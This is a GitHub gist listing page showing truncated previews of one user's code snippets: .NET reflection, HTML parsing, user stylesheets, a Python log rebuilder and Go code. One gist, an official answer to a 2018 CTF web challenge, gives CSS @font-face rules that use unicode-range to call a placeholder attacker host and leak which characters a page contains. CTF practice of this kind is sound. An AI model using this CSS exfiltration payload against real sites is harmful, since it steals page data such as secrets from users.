Skip to content

Instantly share code, notes, and snippets.

@KageShiron
KageShiron / EnumMembers.cs
Last active April 17, 2017 01:05
blog/dotnet-name .NET Frameworkのライブラリのpublicな名前を探求する
void Main()
{
string[] dirNames = { @"C:\WINDOWS\Microsoft.NET\assembly", @"C:\WINDOWS\assembly" };
SearchMemberNames(dirNames, t => t.Name.Length > 100);
}
void SearchMemberNames(string[] dirNames, System.Func<MemberInfo, bool> judge)
{
foreach (var dir in dirNames)
System.Threading.Tasks.Parallel.ForEach(Directory.EnumerateFiles(dir, "*.dll", SearchOption.AllDirectories), f =>
@KageShiron
KageShiron / difference.cs
Created June 26, 2017 01:00
blog/xamarin-hap-withxpath : XamarinとHtmlAgilityPack
// LINQ
var items = htmlDoc.DocumentNode.Descendants("div")
.Where(e => e.GetAttributeValue("class", "") == "resultItem");
SearchResults = items.Select(r => {
string kind=r.Descendants("div").Where(e=>e.GetAttributeValue("class", "")=="resultKind")
.FirstOrDefault()?.InnerText;
string name=r.Descendants("div").Where(e=>e.GetAttributeValue("class","")=="resultName")
.FirstOrDefault()?.InnerText;
// XPath
/*! jQuery v3.2.1 | (c) JS Foundation and other contributors | jquery.org/license */
!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b||d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.construc
chrome.bookmarks.getRecent(1,function(x){
if(x.length == 0)
alert("No bookmark");
else
alert(x[0].title);
});
@KageShiron
KageShiron / poc1.css
Last active February 11, 2018 06:56
HarekazeCTF 2018 Web250-A custom CSS for the flag (Official answer)
@font-face {
font-family: 'Capital-A';
src: url('http://your-website?A');
unicode-range: U+0041;
}
@font-face{
font-family:'Capital-B';
src:url('http://your-website?CB');
unicode-range:U+0042;
}
@KageShiron
KageShiron / Readme.md
Created April 4, 2018 13:59
Chocolatey AU Test Result

Chocolatey AU Test Result

@KageShiron
KageShiron / chocolatey.css
Last active February 14, 2019 05:43
My Stylus File
/* Chocolatey Fix*/
body{
font-family:sans-serif;
}
.message{
font-size:inherit;
color:black;
}
@KageShiron
KageShiron / github.css
Created June 4, 2018 17:06
Microsoft Kusa for GitHub
rect.day[fill="#c6e48b"]{
fill:#ffbb00 !important;
}
rect.day[fill="#7bc96f"]{
fill:#7cbb00 !important;
}
rect.day[fill="#239a3b"]{
fill:#00a1f1 !important;
}
rect.day[fill="#196127"]{
@KageShiron
KageShiron / mktree.py
Last active June 27, 2018 16:26
Cycramenのログを再構築するプログラム
import csv
def writeLi(x,ind):
print("<li>")
print("<div>%s [%s] %s %s %s</div>" % (" " * ind , x["id"],x["title"],x["name"],x["time"],))
print(x["body"])
print("<ul>")
if "children" in x:
for c in x["children"]:
writeLi(c,ind+1)
@KageShiron
KageShiron / postrequestbin.go
Created August 31, 2018 12:59
Post RequestBin 1
package main
import (
"bytes"
"log"
"net/http"
"strconv"
"time"
"github.com/gin-gonic/gin/render"